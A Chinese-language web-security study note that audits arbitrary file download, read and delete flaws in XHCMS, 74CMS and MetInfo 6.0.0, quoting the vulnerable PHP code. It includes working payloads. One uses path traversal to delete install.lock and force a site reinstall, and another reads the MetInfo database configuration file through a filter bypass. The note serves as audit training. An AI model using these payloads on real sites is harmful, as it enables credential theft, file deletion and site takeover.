知识点(很难碰到)

文件读取和文件下载:主要是获取网站敏感文件(对后期安全测试有所帮助)(数据库配置文件,接口配置文件,账户配置文件,操作系统敏感文件,口令密码等,网站自身的敏感文件)。

  • 文件读取:基本和文件下载利用类似

  • 文件下载:利用下载获取源码或数据库配置文件及系统敏感文件为后续出思路

    直连下载:(没有安全问题)
    http://xxx.xxx.com/2.zip
    无法直连下载:
    http://xxx.xxx.com/index.php

    可能存在安全问题
    http://xxx.xxx.com/?down=1.zip
    代码使用下载协议尝试下载解析文件
    http://xxx.xxx.com/?down=index.php
  • 文件删除:除自身安全引发的文件删除外,可配合删除重装锁定文件进行重装(高危操作,慎用。可以删除网站的锁定文件,重新安装网站。)

➢审计分析-文件下载-XHCMS-功能点
➢审计分析-文件读取-MetInfo-函数搜索
➢审计分析-文件删除-74CMS-函数搜索
➢黑盒分析-下载读取-下载资源URL参数

白盒审计(XHCMS)

文件下载

下载漏洞 :=> 任意文件下载:下载谁 下载文件能不能控制 == 漏洞

<?php
require 'inc/conn.php';
$line=addslashes($_GET['line']);
$type=addslashes($_GET['type']);
$fileid=addslashes($_GET['cid']);
if(!is_numeric($fileid)){
echo "错误的下载请求!";
exit;}

# 1.通过ID查数据库取出文件相关的所有信息
$query = "SELECT * FROM download WHERE ( id='$fileid')";
# 2.执行SQL查询
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
# 3.获取查询数组
$down= mysql_fetch_array($result);
# 4.获取文件存储地址(存储在服务器上的物理地址或者远程的文件地址)(突破口)
$fileadd=$down['softadd'];
# 获取网盘的下载
$fileadd2=$down['softadd2'];
if ($type=='soft' AND $line=='pan'){
if ($fileadd2==""){
echo "<script language=JavaScript>alert('抱歉,程序尚在开发当中,请稍后再试!');history.back();window.close();</script>";
exit;
}
//下载计数
$query = "UPDATE download SET xiazai = xiazai+1 WhERE id='$fileid'";
@mysql_query($query) or die('修改错误:'.mysql_error());

header("Location: $fileadd2");
exit;
}

# 文件下载部分
if ($type=='soft' AND ($line=="telcom" OR $line=="unicom")){
# 文件标题和版本
$filename=$down['title'];
$filename2=$down['version'];
# 将文件名从UTF8转GBK
$filename=iconv("UTF-8", "GBK", $filename);
# 取出最后一个点的位置,按照位置切割字符串,取出文件后缀
$houzhui=substr($fileadd,strrpos($fileadd,"."));

$sourceFile = $fileadd; //要下载的临时文件名
$outFile = $filename." ".$filename2.$houzhui; //下载保存到客户端的文件名
# 返回扩展名,如:.txt返回txt
$file_extension = strtolower(substr(strrchr($sourceFile, "."), 1)); //获取文件扩展名
//echo $sourceFile;
//if (!ereg("[tmp|txt|rar|pdf|doc]", $file_extension))exit ("非法资源下载");
//检测文件是否存在
if (!is_file($sourceFile)) {
die("<script language=JavaScript>alert('抱歉,本地下载未发现文件,请选择网盘下载!');history.back();window.close();</script>");
}
$len = filesize($sourceFile); //获取文件大小
$filename = basename($sourceFile); //获取文件名字
$outFile_extension = strtolower(substr(strrchr($outFile, "."), 1)); //获取文件扩展名
//根据扩展名 指出输出浏览器格式
switch ($outFile_extension) {
case "exe" :
$ctype = "application/octet-stream";
break;
case "zip" :
$ctype = "application/zip";
break;
case "mp3" :
$ctype = "audio/mpeg";
break;
case "mpg" :
$ctype = "video/mpeg";
break;
case "avi" :
$ctype = "video/x-msvideo";
break;
default :
$ctype = "application/force-download";
}
//Begin writing headers
header("Cache-Control:");
header("Cache-Control: public");

//设置输出浏览器格式
header("Content-Type: $ctype");
header("Content-Disposition: attachment; filename=" . $outFile);
header("Accept-Ranges: bytes");
$size = filesize($sourceFile);
//如果有$_SERVER['HTTP_RANGE']参数
if (isset ($_SERVER['HTTP_RANGE'])) {
/*Range头域   Range头域可以请求实体的一个或者多个子范围。
例如,
表示头500个字节:bytes=0-499
表示第二个500字节:bytes=500-999
表示最后500个字节:bytes=-500
表示500字节以后的范围:bytes=500-   
第一个和最后一个字节:bytes=0-0,-1   
同时指定几个范围:bytes=500-600,601-999   
但是服务器可以忽略此请求头,如果无条件GET包含Range请求头,响应会以状态码206(PartialContent)返回而不是以200 (OK)。
*/
// 断点后再次连接 $_SERVER['HTTP_RANGE'] 的值 bytes=4390912-
# 获取数据包的Range字段
list ($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
//if yes, download missing part
# 将所有的$range里面的$rang替换为"-"???
str_replace($range, "-", $range); //这句干什么的呢。。。。
$size2 = $size -1; //文件总字节数
$new_length = $size2 - $range; //获取下次下载的长度
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length"); //输入总长
header("Content-Range: bytes $range$size2/$size"); //Content-Range: bytes 4908618-4988927/4988928 95%的时候
} else {
//第一次连接
$size2 = $size -1;
header("Content-Range: bytes 0-$size2/$size"); //Content-Range: bytes 0-4988927/4988928
header("Content-Length: " . $size); //输出总长
}
//打开文件
$fp = fopen("$sourceFile", "rb");
//设置指针位置
fseek($fp, $range);
//虚幻输出
while (!feof($fp)) {
//设置文件最长执行时间
set_time_limit(0);
print (fread($fp, 1024 * 8)); //输出文件
flush(); //输出缓冲
ob_flush();
}
fclose($fp);
//下载计数
$query = "UPDATE download SET xiazai = xiazai+1 WhERE id='$fileid'";
@mysql_query($query) or die('修改错误:'.mysql_error());
exit ();
}
?>

流程-功能点抓包-寻代码文件-寻变量控制-构造测试

Payload: 
softadd=d:/1.txt
softadd2=d:/1.txt

文件删除:74CMS-配合删除重装

功能点或函数
流程-特定函数搜索-寻触发调用-构造Payload测试

upload/admin/admin_article.php:169
elseif($act == 'del_img')
{
check_token();
$id=intval($_GET['id']);
$img=$_GET['img'];
$sql="update ".table('article')." set Small_img='' where id=".$id." LIMIT 1";
$db->query($sql);
@unlink($upfiles_dir.$img);
@unlink($thumb_dir.$img);
adminmsg("删除缩略图成功!",2);
}

upload/admin/include/admin_common.inc.php:48
$upfiles_dir="../data/".$_CFG['updir_images']."/";

# 删除操作,删除data目录下的文件
Payload: /admin/admin_article.php?act=del_img&img=../../data/install.lock

文件读取:MetInfo-任意读取

流程-特定函数搜索-寻触发调用-构造Payload测试

MetInfo6.0.0
app/system/include/module/old_thumb.class.php

class old_thumb extends web{

$dir = str_replace(array('../','./'), '', $_GET['dir']);

if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}

Payload:/include/thumb.php?dir=http\..\..\config\config_db.php

黑盒探针

1、URL参数名及参数值分析:
参数名:英文对应翻译
参数值:目录或文件名
2、功能点自行修改后分析:
文件下载,删除,读取等